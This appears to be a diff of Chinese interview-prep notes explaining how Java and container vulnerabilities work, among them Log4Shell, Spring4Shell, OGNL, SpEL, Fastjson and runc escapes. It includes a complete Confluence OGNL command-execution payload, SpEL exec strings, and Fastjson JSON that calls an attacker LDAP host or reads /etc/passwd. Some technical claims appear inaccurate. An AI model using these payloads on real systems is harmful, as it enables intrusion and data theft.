- 操作繁琐，需要多次构造 payload
|
||||
- 容易被检测
|
||||
@@ -0,0 +1,24 @@
|
||||
### JNDI 的解析流程和原理
|
||||
|
||||
**JNDI 的解析流程**
|
||||
|
||||
JNDI 的解析过程可以概括为以下几个步骤：
|
||||
|
||||
1. **初始上下文（Initial Context）**：应用程序首先通过 `javax.naming.InitialContext` 类创建一个初始上下文。这个上下文是 JNDI 查找的起点，它包含了连接到特定命名和目录服务所需的环境信息，例如服务提供商的 URL、认证信息等
|
||||
2. **查找（Lookup）**：应用程序使用 `context.lookup(name)` 方法来查找一个对象。`name` 是一个字符串，表示要查找的对象的名称或路径
|
||||
3. **服务提供商（Service Provider）**：JNDI 会根据初始上下文中配置的服务提供商信息，将查找请求委托给相应的服务提供商。例如，如果 URL 是 `ldap://...`，则会使用 LDAP 服务提供商；如果 URL 是 `rmi://...`，则会使用 RMI 服务提供商
|
||||
4. **命名和目录服务**：服务提供商与实际的命名和目录服务进行通信，并根据请求的名称查找对应的对象
|
||||
5. **返回结果**：命名和目录服务返回查找到的对象。这个对象可以是任何 Java 对象，例如一个字符串、一个数据库连接，甚至是一个远程方法调用的引用
|
||||
|
||||
**JNDI 注入的原理**
|
||||
|
||||
JNDI 注入是一种利用 JNDI 漏洞的攻击方式。它的核心思想是，**攻击者控制了 `context.lookup(name)` 方法中的 `name` 参数，使其指向一个恶意的远程服务，从而在受害者服务器上执行任意代码**
|
||||
|
||||
具体原理如下：
|
||||
|
||||
1. **注入恶意 URL**：攻击者通过某种方式（如 HTTP 请求参数、日志等）将一个恶意的 JNDI URL 注入到应用程序中。这个 URL 通常指向攻击者控制的远程服务器，例如 `ldap://attacker.com:1389/Exploit`
|
||||
2. **触发查找**：应用程序在处理用户输入时，无意中将这个恶意 URL 作为 `context.lookup()` 方法的参数进行调用
|
||||
3. **JNDI 请求恶意服务**：JNDI 框架会向攻击者控制的 LDAP 服务器发起请求，查找 `Exploit` 这个对象
|
||||
4. **返回恶意引用**：攻击者的 LDAP 服务器接收到请求后，会返回一个特殊的响应，这个响应中包含了**一个远程代码库（Codebase）的 URL**，例如 `http://attacker.com/`，以及一个类名 `Exploit`
|
||||
5. **加载远程类**：当 JNDI 收到这个响应后，它会根据返回的远程代码库 URL，从攻击者的 Web 服务器下载 `Exploit.class` 文件
|
||||
6. **执行恶意代码**：JNDI 框架会自动实例化并执行 `Exploit` 类中的代码。`Exploit` 类通常包含一个静态代码块或构造函数，用于执行恶意命令，例如反弹 shell、创建文件等
|
||||
@@ -0,0 +1,31 @@
|
||||
### Log4j 漏洞原理
|
||||
|
||||
**1. Log4j 的“查找”（Lookups）功能**
|
||||
|
||||
Log4j 是一个强大的日志框架，它有一个非常实用的功能叫做 **“查找”（Lookups）**。这个功能允许在日志配置或日志消息中动态地获取一些信息
|
||||
|
||||
比如，你可以用 `${sys:user.name}` 来打印当前系统的用户名，或者用 `${env:PATH}` 来打印系统的环境变量
|
||||
|
||||
这些 Lookups 机制让日志功能变得非常灵活
|
||||
|
||||
**2. JNDI 查找的引入**
|
||||
|
||||
在 Log4j 的 2.x 版本中，引入了一种新的查找类型：**JNDI Lookup**
|
||||
|
||||
- **JNDI**（Java Naming and Directory Interface）是 Java 平台的一个 API，它允许程序通过名字来查找和访问各种资源，比如数据库、远程对象等
|
||||
- JNDI 查找支持多种协议，例如：`LDAP` (轻量级目录访问协议)、`RMI` (远程方法调用) 和 `DNS` 等
|
||||
|
||||
有了 JNDI Lookup，你就可以在日志消息中通过 `${jndi:协议://地址}` 的形式去查询一个远程资源
|
||||
|
||||
**3. 漏洞的核心：JNDI 远程加载类**
|
||||
|
||||
漏洞的真正核心在于 **JNDI 协议的特性**
|
||||
|
||||
当 Log4j 看到一个 `${jndi:ldap://...}` 字符串时，它会：
|
||||
|
||||
1. **解析**：识别这是一个 JNDI 查找
|
||||
2. **请求**：向 `ldap://` 指定的远程服务器发起请求
|
||||
3. **接收响应**：LDAP 服务器会返回一个恶意的 **Java 对象**（或者说，指向这个对象的引用）。这个对象通常是一个恶意的 `.class` 文件
|
||||
4. **远程加载**：客户端（即 Log4j 所在的程序）在处理这个返回的对象时，会自动去加载并实例化这个恶意的 `.class` 文件
|
||||
|
||||
这个过程，就是 **JNDI 注入**。它利用了 JNDI 协议的特性，让程序主动去加载并执行远程服务器上的代码
|
||||
@@ -0,0 +1,23 @@
|
||||
### runc 容器逃逸原理
|
||||
|
||||
**1. 竞争条件**
|
||||
|
||||
这是 runc 容器逃逸中一种经典的利用方式。以 **CVE-2019-5736** 为例，其核心原理是：
|
||||
|
||||
- **进程切换和文件句柄劫持**：当我们在宿主机上执行 `docker exec` 等命令时，实际上 runc 会在容器内启动一个新的进程。在 runc 启动这个新进程到真正执行用户指定命令的这段极短的时间内，存在一个“窗口期”
|
||||
- **恶意代码的快速覆盖**：攻击者可以在容器内通过一个精心设计的恶意程序，持续地监控并尝试以写权限打开 runc 进程的文件句柄（`/proc/self/exe`）。一旦 runc 进程完成了权限降级，文件句柄被释放但尚未关闭，攻击者的恶意程序就会立即抢占这个句柄，并向宿主机上的 runc 二进制文件写入恶意 payload
|
||||
- **获得宿主机 root 权限**：当 runc 尝试执行后续命令时，它执行的不再是正常的二进制文件，而是已经被篡改的恶意代码。因为 runc 本身是以 root 权限在宿主机上运行的，所以攻击者就成功地以 root 权限执行了任意命令，实现了容器逃逸
|
||||
|
||||
**2. 特权模式与危险配置**
|
||||
|
||||
虽然这不是 runc 自身的漏洞，但它是最常见的容器逃逸方式之一，常常与 runc 的使用有关
|
||||
|
||||
- **特权容器（Privileged Container）**：如果一个容器被以特权模式启动（`docker run --privileged`），它将获得几乎所有宿主机的 root 能力。这种模式下，容器内的进程可以访问宿主机上的所有设备、挂载宿主机的文件系统，甚至可以操纵内核模块。攻击者可以轻易地通过挂载宿主机根目录并使用 `chroot` 命令切换根目录，从而完全控制宿主机
|
||||
- **Docker Socket 挂载**：另一种常见配置错误是直接将 `/var/run/docker.sock`（Docker 守护进程的 Unix Socket）挂载到容器内部。这样做的后果是，容器内的进程可以直接与 Docker 守护进程通信，相当于拥有了在宿主机上创建、运行、停止任何容器的权限。攻击者可以利用这个权限创建另一个特权容器，将宿主机根目录挂载进去，然后轻松实现逃逸
|
||||
|
||||
**3. 文件描述符泄漏与符号链接**
|
||||
|
||||
最近的漏洞，如 **CVE-2024-21626**，则利用了另一种机制：
|
||||
|
||||
- **工作目录和文件描述符**：这个漏洞是由于 runc 在处理容器进程的启动和工作目录时存在缺陷。攻击者可以利用 `/proc/self/fd/` 这个特殊目录，通过设置容器的工作目录或创建符号链接，来访问本不应该被容器访问到的宿主机文件描述符
|
||||
- **突破命名空间隔离**：容器通过命名空间（Namespaces）机制来隔离文件系统、进程、网络等资源。但是，如果攻击者可以找到一种方式，让容器内的进程能够操作宿主机上的文件句柄，那么就可以绕过这些命名空间的隔离，从而读写宿主机上的任意文件，最终实现逃逸
|
||||
@@ -0,0 +1,11 @@
|
||||
### JBoss 反序列化漏洞原理
|
||||
|
||||
在 CVE-2017-7504 的利用中，攻击者通常会利用 **Apache Commons Collections** 库中的 Gadget Chain。这个库在许多 Java 应用中都非常常见，因此它成为了反序列化漏洞攻击的理想目标
|
||||
|
||||
攻击步骤如下：
|
||||
|
||||
1. **构造恶意对象：** 攻击者首先在本地构建一个恶意的 Java 对象，该对象利用 Apache Commons Collections 中的某些类，例如 `InvokerTransformer`。这个类可以用来反射调用任意方法，例如 `java.lang.Runtime.exec()`
|
||||
2. **将对象序列化：** 攻击者将这个恶意对象序列化成字节流
|
||||
3. **发送恶意请求：** 攻击者通过 JBoss Remoting 协议，将这个恶意的字节流发送给存在漏洞的 JBoss 服务器
|
||||
4. **服务器反序列化：** JBoss 服务器接收到数据后，会调用 `ObjectInputStream.readObject()` 方法对其进行反序列化
|
||||
5. **触发 Gadget Chain：** 在反序列化的过程中，Java 会按照字节流中的描述，依次还原对象并调用其中的方法。当执行到攻击者预设的 `InvokerTransformer` 时，它会反射调用 `java.lang.Runtime.exec()` 方法，并执行攻击者指定的命令
|
||||
@@ -0,0 +1,31 @@
|
||||
### XStreadm 反序列化漏洞原理
|
||||
|
||||
**1. 核心原理：`readObject()` 方法和 Bad Gadget**
|
||||
|
||||
XStream 反序列化漏洞的原理与 `CommonsCollections` 漏洞非常相似，都是利用 Java 的**反序列化机制**和一些**恶意类（Gadget）**
|
||||
|
||||
1. **恶意 XML 构造**：攻击者首先会找到一个可以被利用的 Java 类（通常称为 “Bad Gadget”），这个类的 `readObject()` 方法（或其它类似方法，如 `finalize()`）在反序列化时会触发一些非预期的行为
|
||||
2. **`readObject()` 的魔法**：当 XStream 对一个 XML 数据进行反序列化时，如果它解析到一个 `<object-name>` 标签，它会尝试实例化这个类，并调用其 `readObject()` 方法来填充数据
|
||||
3. **触发命令执行**：如果攻击者能找到一个 Bad Gadget，它的 `readObject()` 方法能通过反射或其他方式，间接调用 `java.lang.Runtime.exec()`，那么就可以实现远程代码执行
|
||||
|
||||
与 `CommonsCollections` 不同的是，XStream 的攻击链并不局限于 `CommonsCollections` 库。**只要能找到一个可以被利用的类，就可以构造出攻击链。**
|
||||
|
||||
**2. 典型的 XStream 攻击链（`Groovy` 示例）**
|
||||
|
||||
一个经典的 XStream 攻击链利用了 `Groovy` 库，它曾经在 XStream 的黑名单之外
|
||||
|
||||
1. **恶意 XML 构造**：攻击者构造一个 XML，其中包含一个 `Groovy.lang.Closure` 对象。这个对象可以在其 `call()` 方法中执行任意代码
|
||||
|
||||
2. **利用`java.util.concurrent.ConcurrentHashMap`**：攻击者会将 `Groovy.lang.Closure` 封装到 `ConcurrentHashMap` 中，并利用其序列化特性
|
||||
|
||||
3. **XStream 反序列化**：当 XStream 解析 XML 时，它会创建 `ConcurrentHashMap` 实例，并填充其数据
|
||||
|
||||
4. **`Groovy` 代码执行**：在反序列化过程中，`ConcurrentHashMap` 会调用其内部的某些方法，这些方法会触发 `Groovy.lang.Closure` 的 `call()` 方法，从而执行攻击者预设的 Groovy 代码，例如：
|
||||
|
||||
```groovy
|
||||
"whoami".execute()
|
||||
```
|
||||
|
||||
5. **远程代码执行**：最终，Groovy 代码会被执行，实现了 RCE
|
||||
|
||||
这个攻击链的本质是利用了 `Groovy.lang.Closure` 这个 Bad Gadget，结合 `ConcurrentHashMap` 的反序列化特性，在不被 XStream 黑名单拦截的情况下，触发了命令执行
|
||||
@@ -0,0 +1,31 @@
|
||||
### 讲讲 Confluence RCE
|
||||
|
||||
**1. 漏洞原理**
|
||||
|
||||
这个漏洞的本质是一个**未授权的远程代码执行（RCE）漏洞**。它存在于 Confluence 的**管理控制台**中，特别是在处理**配置文件**时
|
||||
|
||||
攻击者可以利用 Confluence 的某些配置页面（通常与**数据源配置**或**诊断**相关），向服务器发送一个特制的 HTTP 请求。这个请求中包含一个恶意的**OGNL（Object-Graph Navigation Language）表达式**
|
||||
|
||||
- **OGNL** 是一个强大的表达式语言，常用于 Java 应用中，可以用来在运行时操作 Java 对象
|
||||
- **攻击者利用**：攻击者利用了 Confluence 在处理某些未授权页面时，OGNL 表达式没有被正确沙盒化（sandboxed）或过滤的缺陷。这使得攻击者可以在不进行身份验证的情况下，直接传入 OGNL 表达式，并让服务器执行
|
||||
- **执行恶意代码**：当服务器解析并执行这个恶意的 OGNL 表达式时，攻击者就可以调用 `java.lang.Runtime` 等 Java 类，从而在服务器上执行任意的系统命令
|
||||
|
||||
这个漏洞的危害性极高，因为它完全不需要任何身份验证，攻击者可以直接在网络上扫描到存在漏洞的 Confluence 实例，然后利用它进行攻击
|
||||
|
||||
**2. 漏洞利用方式**
|
||||
|
||||
利用这个漏洞通常非常简单，因为攻击者只需要向特定的 URL 发送一个带有恶意 OGRL 表达式的 HTTP 请求即可
|
||||
|
||||
一个典型的利用过程如下：
|
||||
|
||||
1. **探测目标**：攻击者首先会扫描互联网，寻找暴露在公网上的 Confluence Data Center 和 Server 实例
|
||||
|
||||
2. **发送恶意请求**：攻击者向 Confluence 服务器的某个特定管理 URL 发送一个带有恶意 OGNL Payload 的 GET 或 POST 请求。例如，请求中可能包含如下代码：
|
||||
|
||||
```apl
|
||||
?diagnostics=x&x=x'%2b#_memberAccess.allowPrivateAccess%3dtrue%2c#_memberAccess.allowProtectedAccess%3dtrue%2c#_memberAccess.allowPackageProtected%3dtrue%2c#_memberAccess.allowStaticMethodAccess%3dtrue%2c#cmd%3d'whoami'%2c#a%3d@java.lang.Runtime@getRuntime().exec(#cmd).getInputStream().readAllBytes()%2c#out%3dnew+java.lang.String(#a)%2c#_memberAccess.allowPrivateAccess%3dfalse%2c#_memberAccess.allowProtectedAccess%3dfalse%2c#_memberAccess.allowPackageProtected%3dfalse%2c#_memberAccess.allowStaticMethodAccess%3dfalse%2c#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter().print(#out)%2c#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter().flush()
|
||||
```
|
||||
|
||||
- **OGNL 表达式解析**：上面的表达式通过反射调用了 `java.lang.Runtime.exec()` 方法，并执行了 `whoami` 命令，最后将命令执行结果写入到 HTTP 响应中，返回给攻击者
|
||||
|
||||
3. **获取控制权**：如果攻击成功，攻击者就可以在服务器上执行任意命令，例如下载恶意文件、创建新的用户、或者将服务器作为跳板攻击内网
|
||||
@@ -0,0 +1,45 @@
|
||||
### 讲下 Spring 相关的 RCE 原理
|
||||
|
||||
**1. Spring Expression Language (SpEL) 注入**
|
||||
|
||||
**原理**： SpEL 是一种强大的表达式语言，类似于 OGNL，用于在运行时动态地评估和执行表达式。它的强大之处在于，可以调用 Java 类、方法，甚至是系统命令。如果应用程序在处理用户输入时，直接将未经验证的输入作为 SpEL 表达式来解析，就会导致 SpEL 注入漏洞
|
||||
|
||||
**攻击链**：
|
||||
|
||||
1. **用户输入**：攻击者在 HTTP 请求中发送一个恶意的 SpEL 表达式，例如： `T(java.lang.Runtime).getRuntime().exec("whoami")`
|
||||
2. **Spring 解析**：应用程序的代码将这个输入作为 SpEL 表达式传递给 `SpELParser`
|
||||
3. **表达式执行**：SpEL 解释器会解析并执行这个表达式
|
||||
4. **远程代码执行**：`T(java.lang.Runtime).getRuntime().exec("whoami")` 这段代码会通过反射调用 `java.lang.Runtime` 类的静态方法 `getRuntime()`，然后调用 `exec()` 方法来执行系统命令，从而实现 RCE
|
||||
|
||||
**典型场景**：
|
||||
|
||||
- **Spring Boot Actuator**：在旧版本的 Spring Boot 中，Actuator 的某些接口（如 `/env` 或 `/refresh`）在配置不当时，可以被利用来执行 SpEL 表达式，从而触发 RCE
|
||||
|
||||
**2. Spring Framework 数据绑定漏洞 (CVE-2022-22965)**
|
||||
|
||||
**原理**： 这个漏洞被称为“**Spring4Shell**”，它利用了 Spring MVC 的**数据绑定**功能。当一个 HTTP 请求被绑定到一个 Java 对象时，Spring 会尝试将请求参数的值设置到对象的属性上。攻击者可以利用这个机制，通过构造恶意的请求参数，来访问和修改一些特殊的、不应该被访问的类属性
|
||||
|
||||
**攻击链**：
|
||||
|
||||
1. **用户输入**：攻击者构造一个恶意的 HTTP 请求，其参数名为：`class.module.classLoader.URLs[0]=http://malicious-site/evil.jar`
|
||||
2. **数据绑定**：Spring 将这个参数绑定到一个 Java 对象
|
||||
3. **ClassLoader 修改**：Spring 的数据绑定机制会解析这个参数，并最终修改**应用程序的类加载器（ClassLoader）**
|
||||
4. **加载恶意代码**：一旦类加载器被修改，攻击者就可以通过其他请求，让应用程序去加载一个远程的恶意 JAR 包，从而在服务器上执行恶意代码
|
||||
|
||||
**影响**：
|
||||
|
||||
- 这个漏洞的危害性极高，因为它影响了 Spring Framework 5.2 及 5.3 版本的核心数据绑定功能。攻击者无需认证即可利用
|
||||
|
||||
**3. Spring Cloud Function SpEL 注入 (CVE-2022-22963)**
|
||||
|
||||
**原理**： 这个漏洞是另一个 SpEL 注入的例子，但它存在于 **Spring Cloud Function** 库中。这个库允许开发者使用函数式编程来处理请求。当通过 Spring Cloud Function 路由请求时，如果路由头（`spring.cloud.function.routing-expression`）被设置，它的值就会被当作 SpEL 表达式来执行
|
||||
|
||||
**攻击链**：
|
||||
|
||||
1. **用户输入**：攻击者在 HTTP 请求的 Header 中添加一个名为 `spring.cloud.function.routing-expression` 的头，其值为一个恶意的 SpEL 表达式，例如：`T(java.lang.Runtime).getRuntime().exec("whoami")`
|
||||
2. **函数路由**：Spring Cloud Function 在处理请求时，会获取这个头的值
|
||||
3. **表达式执行**：它会直接将这个值作为 SpEL 表达式来执行，导致 RCE
|
||||
|
||||
**影响**：
|
||||
|
||||
- 这个漏洞的利用非常简单，只需要一个 HTTP 请求头即可。它影响了 Spring Cloud Function 3.1.6 和 3.2.2 等版本，危害同样很高
|
||||
@@ -0,0 +1,39 @@
|
||||
### Log4j 如何绕过 trustURLCodebase
|
||||
|
||||
**`trustURLCodebase` 是什么？**
|
||||
|
||||
在 **JNDI**（Java Naming and Directory Interface）中，`trustURLCodebase` 是一个非常关键的 JVM 参数。它的作用是：
|
||||
|
||||
- 当 JNDI 客户端从远程服务器（例如 RMI 或 LDAP）获取一个 Java 对象时，如果这个对象在本地不存在，JNDI 客户端会根据远程服务器提供的 `codebase` URL，从**远程下载并加载**这个对象
|
||||
- `trustURLCodebase` 这个参数决定了是否信任这个远程的 `codebase` URL
|
||||
- **`true`**（默认值，在 **JDK 8u191** 之前）：JVM 会无条件地信任并加载远程的代码
|
||||
- **`false`**（默认值，在 **JDK 8u191** 之后）：JVM 不会加载远程的代码，除非该代码被签名或来自于可信的本地路径
|
||||
|
||||
因此，`trustURLCodebase` 设为 `false` 是一个强大的防御措施，它从根本上阻止了 **JNDI 注入**通过远程加载恶意代码的方式来触发 RCE
|
||||
|
||||
**Log4j 绕过 `trustURLCodebase` 的原理**
|
||||
|
||||
尽管 `trustURLCodebase` 提供了强大的保护，但攻击者总能找到其他方法来绕过它。Log4j 漏洞的绕过方式，通常是利用 JNDI 注入的**其他特性**或寻找**本地可用的 Gadget Chain**
|
||||
|
||||
**1. 绕过原理一：利用本地 Gadget Chain**
|
||||
|
||||
这是最常见的绕过方式。如果 JNDI 客户端无法从远程下载恶意代码，那么攻击者就转而利用目标服务器**本地已有的**类库
|
||||
|
||||
- **攻击链**：
|
||||
1. 攻击者构造一个恶意的 JNDI 请求，例如 `ldap://attacker-ip/a`
|
||||
2. 在攻击者的 LDAP 服务器上，不返回一个远程 Codebase，而是返回一个指向**本地已存在的、可被反序列化利用的类**。例如，`javax.sql.DataSource` 或 `com.sun.rowset.JdbcRowSetImpl`
|
||||
3. 当 JNDI 客户端收到这个响应后，它会认为这个类是本地的，并进行实例化
|
||||
4. 在实例化或反序列化过程中，这些本地类中的**方法会被自动调用**，例如 `JdbcRowSetImpl` 的 `connect()` 方法会触发 JNDI 查找
|
||||
5. 攻击者可以在 JNDI 查找名中嵌入新的 JNDI URL，指向另一个恶意的服务，最终通过**反射**或**其他本地的 Gadget Chain**来执行命令
|
||||
- **本质**：这种绕过方式的核心是**将远程代码加载变成了本地类调用**。它利用了**Java 反序列化**和**反射**，而不再依赖于远程 Codebase 的加载
|
||||
|
||||
**2. 绕过原理二：利用 `Serialized` 或 `Reference` 绕过**
|
||||
|
||||
在某些情况下，攻击者可以利用 JNDI 查找中的 `Serialized` 或 `Reference` 对象来绕过限制
|
||||
|
||||
- **攻击链**：
|
||||
1. 攻击者构造一个 JNDI 请求，其返回结果是一个 `Serialized` 对象
|
||||
2. `Serialized` 对象包含一个**序列化后的 Java 对象**
|
||||
3. 当客户端收到这个 `Serialized` 对象时，它会**直接对其中的数据进行反序列化**
|
||||
4. 攻击者可以在这个序列化数据中嵌入**任何恶意的 Gadget Chain**（例如 `CommonsCollections`），从而绕过 `trustURLCodebase` 的检查，直接触发反序列化漏洞
|
||||
- **本质**：这种方法是将 JNDI 注入**转换成了传统的 Java 反序列化漏洞**。它绕过了 JVM 对远程代码加载的限制，转而利用了反序列化本身的设计缺陷
|
||||
@@ -0,0 +1,45 @@
|
||||
### Fastjson 文件读写 gadget 是哪条，原理是什么
|
||||
|
||||
**Fastjson 文件读写 Gadget：`JdbcRowSetImpl`**
|
||||
|
||||
`JdbcRowSetImpl` 本身是一个 JDBC 相关的类，它的功能是通过 JNDI 来获取数据源。这个类在 Fastjson 中被利用，是因为它的 `dataSourceName` 属性在反序列化时，会触发一个 JNDI 查找
|
||||
|
||||
**攻击原理：从 JNDI 注入到文件读写**
|
||||
|
||||
这条 Gadget 的核心原理是利用 JNDI 协议的**文件查找功能**
|
||||
|
||||
1. **Fastjson 漏洞触发**： 攻击者构造一个恶意的 JSON 数据，其中包含 `JdbcRowSetImpl` 类，并将其 `dataSourceName` 属性设置为一个恶意的 URL
|
||||
|
||||
```json
|
||||
{
|
||||
"@type":"com.sun.rowset.JdbcRowSetImpl",
|
||||
"dataSourceName":"ldap://attacker-ip:1389/Exploit",
|
||||
"autoCommit":true
|
||||
}
|
||||
```
|
||||
|
||||
当 Fastjson 对这段 JSON 进行反序列化时，会实例化 `JdbcRowSetImpl` 对象，并调用其 `setDataSourceName()` 方法。这个方法会触发一个 JNDI 查找
|
||||
|
||||
2. **JNDI 文件查找**： JNDI 不仅支持 `ldap`、`rmi` 等协议，它也支持 `file` 协议。`file` 协议允许 JNDI 客户端查找本地的文件
|
||||
|
||||
3. **攻击者构造恶意 JNDI URL**： 攻击者在 `dataSourceName` 中，将协议从 `ldap` 替换为 `file`，并将文件路径设置为目标服务器上的敏感文件，例如 `/etc/passwd`
|
||||
|
||||
```json
|
||||
{
|
||||
"@type":"com.sun.rowset.JdbcRowSetImpl",
|
||||
"dataSourceName":"file:///etc/passwd",
|
||||
"autoCommit":true
|
||||
}
|
||||
```
|
||||
|
||||
当 Fastjson 反序列化这个 JSON 时，`JdbcRowSetImpl` 会向 JNDI 服务发起一个本地查找，查找 `/etc/passwd` 文件
|
||||
|
||||
4. **文件读取**： JNDI 服务找到这个文件后，会将其内容作为**一个 Java 对象**返回。这个对象包含了文件的内容。攻击者在自己的服务器上，通过监听端口，就可以截获这个 JNDI 响应，从而获取到 `/etc/passwd` 文件的内容
|
||||
|
||||
**为什么能实现“文件写入”？**
|
||||
|
||||
文件写入的原理与文件读取类似，但它利用的是 JNDI 对**`DataSource` 对象**的特殊处理
|
||||
|
||||
1. **构造恶意 `DataSource`**： 攻击者构造一个恶意的 `DataSource` 对象，这个对象在反序列化时，会执行文件写入操作
|
||||
2. **JNDI 注入文件写入**： 攻击者将 `dataSourceName` 设置为一个可以触发 JNDI 注入的 URL，例如 `ldap://attacker-ip:1389/WriteFile`
|
||||
3. **触发文件写入**： 在攻击者的 LDAP 服务器上，返回一个恶意的 `Reference` 对象，其 `factory` 指向一个可以执行文件写入操作的类。当目标服务器接收并加载这个 `Reference` 对象时，就会触发文件写入
|
||||
@@ -0,0 +1,50 @@
|
||||
### Spring4shell 原理&检测&利用
|
||||
|
||||
**1. Spring4Shell 原理**
|
||||
|
||||
Spring4Shell 的核心是一个**数据绑定（Data Binding）**漏洞，利用了 Spring MVC 在处理请求参数时的一个逻辑缺陷
|
||||
|
||||
**数据绑定是什么？** 在 Spring MVC 中，当你向一个 Controller 发送请求时，框架会自动将请求参数（例如 URL 中的查询参数或 POST 请求体）的值，绑定到方法的 Java 对象参数上。这个过程非常方便，但如果绑定过程没有受到严格限制，就会带来安全风险
|
||||
|
||||
**漏洞的本质** Spring MVC 在数据绑定时，使用了**反射**来设置对象的属性。攻击者发现，可以通过精心构造的请求参数，**利用反射访问并修改一些特殊的对象属性**，例如：
|
||||
|
||||
- **`class` 属性**：任何 Java 对象都有一个隐藏的 `class` 属性，可以用来获取该对象的 `ClassLoader`
|
||||
- **`ClassLoader`**：这是 Java 虚拟机（JVM）加载类的地方
|
||||
|
||||
**完整的攻击链**
|
||||
|
||||
1. **构造恶意请求**：攻击者发送一个 HTTP 请求，其参数名为 `class.module.classLoader.URLs[0]=http://attacker-ip/malicious.jar`
|
||||
2. **数据绑定触发**：Spring MVC 收到请求后，会尝试将这个参数绑定到 Controller 方法的 Java 对象上
|
||||
3. **反射调用**：在绑定过程中，Spring 使用反射，根据 `class.module.classLoader` 这个路径，一步步获取到应用程序的 `ClassLoader` 对象
|
||||
4. **修改 URL**：然后，Spring 会将 `attacker-ip/malicious.jar` 这个 URL，设置到 `ClassLoader` 的 `URLs` 属性中
|
||||
5. **加载恶意类**：一旦 `ClassLoader` 的 URL 被修改，攻击者就可以通过其他请求，让应用程序去加载一个远程的恶意 JAR 包（其中包含可以执行命令的代码）
|
||||
6. **远程代码执行（RCE）**：当恶意 JAR 包中的类被加载到 JVM 中时，其中的恶意代码（通常是静态代码块）会被自动执行，从而实现 RCE。
|
||||
|
||||
**2. Spring4Shell 利用**
|
||||
|
||||
这个漏洞的利用需要满足几个特定条件：
|
||||
|
||||
- **依赖**：应用程序必须依赖于 Spring Framework 的 `5.2.x` 到 `5.3.x` 版本
|
||||
|
||||
- **环境**：
|
||||
|
||||
- **JDK 9+**：漏洞利用的原理依赖于 JDK 9+ 引入的 `class.module` 机制
|
||||
- **Tomcat Servlet 容器**：攻击利用依赖于 Tomcat Servlet 容器，因为它暴露了可被利用的 `ClassLoader`
|
||||
|
||||
- **控制器（Controller）**：应用程序中必须有一个 Controller，其方法参数使用了**简单的 POJO**（Plain Old Java Object）进行数据绑定。例如：
|
||||
|
||||
```java
|
||||
@PostMapping("/bind")
|
||||
public String bind(@ModelAttribute User user) {
|
||||
// ...
|
||||
}
|
||||
```
|
||||
|
||||
**3. Spring4Shell 检测**
|
||||
|
||||
Spring4Shell 的检测方法可以分为以下几种：
|
||||
|
||||
- **版本检测**：最直接的方法是检查应用程序所使用的 Spring Framework 版本和 JDK 版本。如果版本在受影响的范围内（如 Spring 5.2.x - 5.3.x + JDK 9+），则存在风险
|
||||
- **流量检测**：Web 应用防火墙（WAF）可以检测 HTTP 请求中是否包含与漏洞相关的特征字符串，例如 `class.module.classLoader`。这是最有效的网络层面检测方法
|
||||
- **主动扫描**：使用自动化漏洞扫描器（如 **Nessus**、**OpenVAS**）对目标进行扫描。这些扫描器通常集成了对 Spring4Shell 的检测模块
|
||||
- **代码审计**：通过静态应用安全测试（SAST）工具对源代码进行审计，检查是否使用了存在漏洞的 Spring 版本和数据绑定模式
|
||||
@@ -0,0 +1,37 @@
|
||||
### Kubernetes 攻击思路
|
||||
|
||||
**1. 从外部服务入手**
|
||||
|
||||
这是最常见的攻击起点，攻击者通常会寻找暴露在公网上的 K8s 组件或应用。
|
||||
|
||||
**a. 攻击 Web 应用**
|
||||
|
||||
- **漏洞利用**：如果 K8s 集群中运行着 Web 应用，攻击者会首先对这些应用进行漏洞扫描。常见的漏洞包括 **SQL 注入**、**文件上传**、**RCE（远程代码执行）**等
|
||||
- **反向 Shell**：一旦成功利用 RCE，攻击者可以在 Pod 内部获取一个反向 Shell。这是进入集群内部的第一步
|
||||
- **容器逃逸**：仅仅获得 Pod 的 Shell 还不够。攻击者会尝试进行**容器逃逸**，利用 Pod 配置不当或内核漏洞，从容器内部获取宿主机（Node）的权限。
|
||||
|
||||
**b. 攻击暴露的 K8s 服务**
|
||||
|
||||
- **Kubelet API**：如果 Kubelet 的 API（默认端口 10250 或 10255）没有进行严格的认证，攻击者可以直接访问它。通过 Kubelet API，攻击者可以执行命令、查看 Pod 详情，甚至创建新的 Pod，从而实现对整个 Node 的控制
|
||||
- **Dashboard**：如果 K8s Dashboard 暴露在公网，并且使用了弱密码，攻击者可以登录 Dashboard，然后利用其强大的 UI 界面直接管理集群资源
|
||||
|
||||
**2. 权限提升与横向移动**
|
||||
|
||||
一旦攻击者进入集群内部，哪怕是获得了普通 Pod 的权限，他们也会立即开始进行权限提升和横向移动，寻找更高的权限，例如 `Cluster Admin`
|
||||
|
||||
**a. 权限提升**
|
||||
|
||||
- **RBAC 滥用**：K8s 的 **RBAC（基于角色的访问控制）**机制是权限提升的核心攻击点。攻击者会枚举当前 Pod 所拥有的 ServiceAccount 权限，寻找那些被错误配置为高权限的角色。例如，如果一个普通 Pod 的 ServiceAccount 拥有 `list secrets` 或 `create pods` 的权限，攻击者就可以利用这些权限来窃取敏感信息或创建恶意 Pod
|
||||
- **滥用宿主机挂载**：如果 Pod 被配置为挂载了宿主机的敏感路径（如 `/etc`、`/var/run/docker.sock`），攻击者可以直接访问这些路径，甚至通过 `docker.sock` 控制宿主机的 Docker 守护进程，从而实现容器逃逸。
|
||||
|
||||
**b. 横向移动**
|
||||
|
||||
- **ServiceAccount 凭证窃取**：攻击者可以窃取当前 Pod 的 ServiceAccount Token，并使用这个 Token 伪装成 ServiceAccount，访问其他 Pod 或 K8s API
|
||||
- **扫描内网**：利用已控制的 Pod 作为跳板，攻击者可以对集群内网进行扫描，寻找其他可以被攻击的服务或未授权的 API
|
||||
|
||||
**3. 供应链攻击**
|
||||
|
||||
供应链攻击是一种更高级的攻击方式，它不直接攻击 K8s 集群本身，而是攻击 K8s 集群所依赖的组件
|
||||
|
||||
- **恶意镜像**：攻击者可以将恶意代码注入到 Docker 或 OCI 镜像中。当开发者或 CI/CD 流水线拉取并部署这个镜像时，恶意代码就会在集群内部运行
|
||||
- **第三方工具漏洞**：攻击者可以利用 K8s 周边工具的漏洞，例如，攻击 CI/CD 工具（如 Jenkins、Gitlab CI）或 Helm charts，通过这些工具将恶意 Payload 部署到集群中
|
||||
@@ -0,0 +1,31 @@
|
||||
### Shiro 550 721 区别
|
||||
|
||||
**Shiro 550 漏洞发生在 Apache Shiro 1.2.4 版本及以下**
|
||||
|
||||
这个漏洞的根本原因在于 Shiro 框架在处理 `rememberMe` 功能时，使用了**硬编码的默认密钥**。这个密钥是公开的，并且在 Shiro 的代码中可以轻易找到
|
